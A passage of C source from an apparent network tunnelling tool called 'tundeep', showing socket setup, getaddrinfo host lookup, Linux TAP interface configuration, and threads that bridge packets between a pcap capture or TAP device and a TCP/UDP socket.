failed"); } } else { if (bind(sock, (struct sockaddr *) &local_addr6, sizeof(local_addr6)) < 0) { debug(1, 1, "bind() failed"); } } } else { if (!udpmode) { if (!ipv6) { if (connect(sock, (struct sockaddr*) &remote_addr, sizeof(remote_addr)) < 0) { debug(1, 1, "connect() failed"); } } else { if (connect(sock, (struct sockaddr*) &remote_addr6, sizeof(remote_addr6)) < 0) { debug(1, 1, "connect() failed"); } } } else { if (!ipv6) { if (bind(sock, (struct sockaddr*) &local_addr, sizeof(local_addr)) < 0) { debug(1, 1, "bind() failed"); } } else { if (bind(sock, (struct sockaddr*) &local_addr6, sizeof(local_addr6)) < 0) { debug(1, 1, "bind() failed"); } } } } return sock; } int lookup_host (const char *host, struct sockaddr_in *r) { struct addrinfo hints, *res; int errcode; memset (&hints, 0, sizeof (hints)); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags |= AI_CANONNAME; errcode = getaddrinfo (host, NULL, &hints, &res); if (errcode != 0) { perror ("getaddrinfo"); return 0; } while (res) { if (res->ai_family == AF_INET) { r->sin_addr = ((struct sockaddr_in *) res->ai_addr)->sin_addr; return 1; } res = res->ai_next; } return 0; } int lookup_host6 (const char *host, struct sockaddr_in6 *r) { struct addrinfo hints, *res; int errcode; memset (&hints, 0, sizeof (hints)); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags |= AI_CANONNAME; errcode = getaddrinfo (host, NULL, &hints, &res); if (errcode != 0) { perror ("getaddrinfo"); return 0; } while (res) { if (res->ai_family == AF_INET6) { r->sin6_addr = ((struct sockaddr_in6 *) res->ai_addr)->sin6_addr; return 1; } res = res->ai_next; } return 0; } tundeep-master/tap.c000066400000000000000000000065761352102063700147600ustar00rootroot00000000000000/* This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "def.h" #ifdef _LINUX int tap_fd = 0; int tun_alloc(char *dev, int flags) { struct ifreq ifr; int fd, err; if ((fd = open("/dev/net/tun", O_RDWR)) < 0) { perror("Opening /dev/net/tun"); return fd; } memset(&ifr, 0, sizeof(ifr)); ifr.ifr_flags = flags; if (*dev) { strncpy(ifr.ifr_name, dev, IFNAMSIZ); } if ((err = ioctl(fd, TUNSETIFF, (void *)&ifr)) < 0 ) { perror("ioctl(TUNSETIFF)"); close(fd); return err; } strcpy(dev, ifr.ifr_name); return fd; } int confif(const char *ifname, const char *ip, const char *netmask) { struct ifreq ifr; int fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP); struct sockaddr_in* addr = (struct sockaddr_in*)&ifr.ifr_addr; char *tm; strncpy(ifr.ifr_name, ifname, IFNAMSIZ); ifr.ifr_addr.sa_family = AF_INET; if (ip != NULL) { inet_pton(AF_INET, ip, &addr->sin_addr); ioctl(fd, SIOCSIFADDR, &ifr); } if (netmask != NULL) { inet_pton(AF_INET, netmask, &addr->sin_addr); ioctl(fd, SIOCSIFNETMASK, &ifr); } if (tap_mac != NULL) { tm = atom(tap_mac); memcpy(ifr.ifr_hwaddr.sa_data, tm, 6); ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; ioctl(fd, SIOCSIFHWADDR, &ifr); free(tm); } ioctl(fd, SIOCGIFFLAGS, &ifr); strncpy(ifr.ifr_name, ifname, IFNAMSIZ); ifr.ifr_flags |= (IFF_UP | IFF_RUNNING); ioctl(fd, SIOCSIFFLAGS, &ifr); return 0; } struct in6_ifreq { struct in6_addr ifr6_addr; __u32 ifr6_prefixlen; unsigned int ifr6_ifindex; }; int confif6(const char *ifname, const char *ip, const char *netmask) { struct ifreq ifr; int fd = socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP); struct sockaddr_in6 addr; struct in6_ifreq ifr6; char *tm; int prefixlen = 64; strncpy(ifr.ifr_name, ifname, IFNAMSIZ); memset(&addr, 0, sizeof(struct sockaddr)); addr.sin6_family = AF_INET6; addr.sin6_port = 0; ifr.ifr_addr.sa_family = AF_INET6; if (ip != NULL) { if (inet_pton(AF_INET6, ip, (void *)&addr.sin6_addr) <= 0) { debug(1, 1, "Bad IPv6 address"); } memcpy((char *) &ifr6.ifr6_addr, (char *) &addr.sin6_addr, sizeof(struct in6_addr)); if (ioctl(fd, SIOGIFINDEX, &ifr) < 0) { perror("SIOGIFINDEX"); debug(1, 1, "SIOGIFINDEX error"); } ifr6.ifr6_ifindex = ifr.ifr_ifindex; if (netmask != NULL) { ifr6.ifr6_prefixlen = atoi(netmask); } else { ifr6.ifr6_prefixlen = prefixlen; } if (ioctl(fd, SIOCSIFADDR, &ifr6) < 0) { perror("SIOCSIFADDR"); debug(1, 1, "SIOCSIFADDR error"); } } if (tap_mac != NULL) { tm = atom(tap_mac); memcpy(ifr.ifr_hwaddr.sa_data, tm, 6); ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; ioctl(fd, SIOCSIFHWADDR, &ifr); free(tm); } ioctl(fd, SIOCGIFFLAGS, &ifr); strncpy(ifr.ifr_name, ifname, IFNAMSIZ); ifr.ifr_flags |= (IFF_UP | IFF_RUNNING); ioctl(fd, SIOCSIFFLAGS, &ifr); return 0; } #endif tundeep-master/threads.c000066400000000000000000000053421352102063700156140ustar00rootroot00000000000000/* This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ #include "def.h" void* thread_func(void *arg) { char buf6[INET6_ADDRSTRLEN]; pthread_t id = pthread_self(); if (arg == NULL) { /* silence compiler warning */ } if(pthread_equal(id,tid[0])) { //this thread listens in on pcap if it's an iface, or it reads from tap if (tunorif==IFACE) { /* loop for callback function */ //we're receiving a packet on eth1 pcap_loop(descr, 0, pktrecv, NULL); //keep receiving forever } else { #ifdef _LINUX //read from tap read_loop(); #endif } } else { //this thread reads from the socket //server if (server_mode) { while (1) { if (!udpmode) { //accept a client listen(sock,0); if (ipv6) { sin_size = sizeof(struct sockaddr_in6); } else { sin_size = sizeof(struct sockaddr_in); } connected = 0; if (ipv6) { connected = accept(sock, (struct sockaddr *)&remote_addr6,&sin_size); inet_ntop(AF_INET6, &remote_addr6.sin6_addr, buf6, sizeof(buf6)); debug(3, 0, "Client connected %s:%d", buf6, ntohs(remote_addr6.sin6_port)); } else { connected = accept(sock, (struct sockaddr *)&remote_addr,&sin_size); debug(3, 0, "Client connected %s:%d", inet_ntoa(remote_addr.sin_addr),ntohs(remote_addr.sin_port)); } } else { connected = sock; } while (1) { #ifdef _COMPRESS if (compmode) { if (recvdata_c(connected) == -1) { debug(6, 0, "Breaking in server_recvdata_connected"); break; } } else { #endif if (recvdata(connected) == -1) { debug(6, 0, "Breaking in server_recvdata_connected"); break; } #ifdef _COMPRESS } #endif } } } else { //client connected = sock; while (1) { #ifdef _COMPRESS if (compmode) { if (recvdata_c(connected) == -1) { debug(6, 0, "Breaking in client_recvdata_connected"); break; } } else { #endif if (recvdata(connected) == -1) { debug(6, 0, "Breaking in client_recvdata_connected"); break; } #ifdef _COMPRESS } #endif } debug(1, 0, "Client quitting"); } } return NULL; }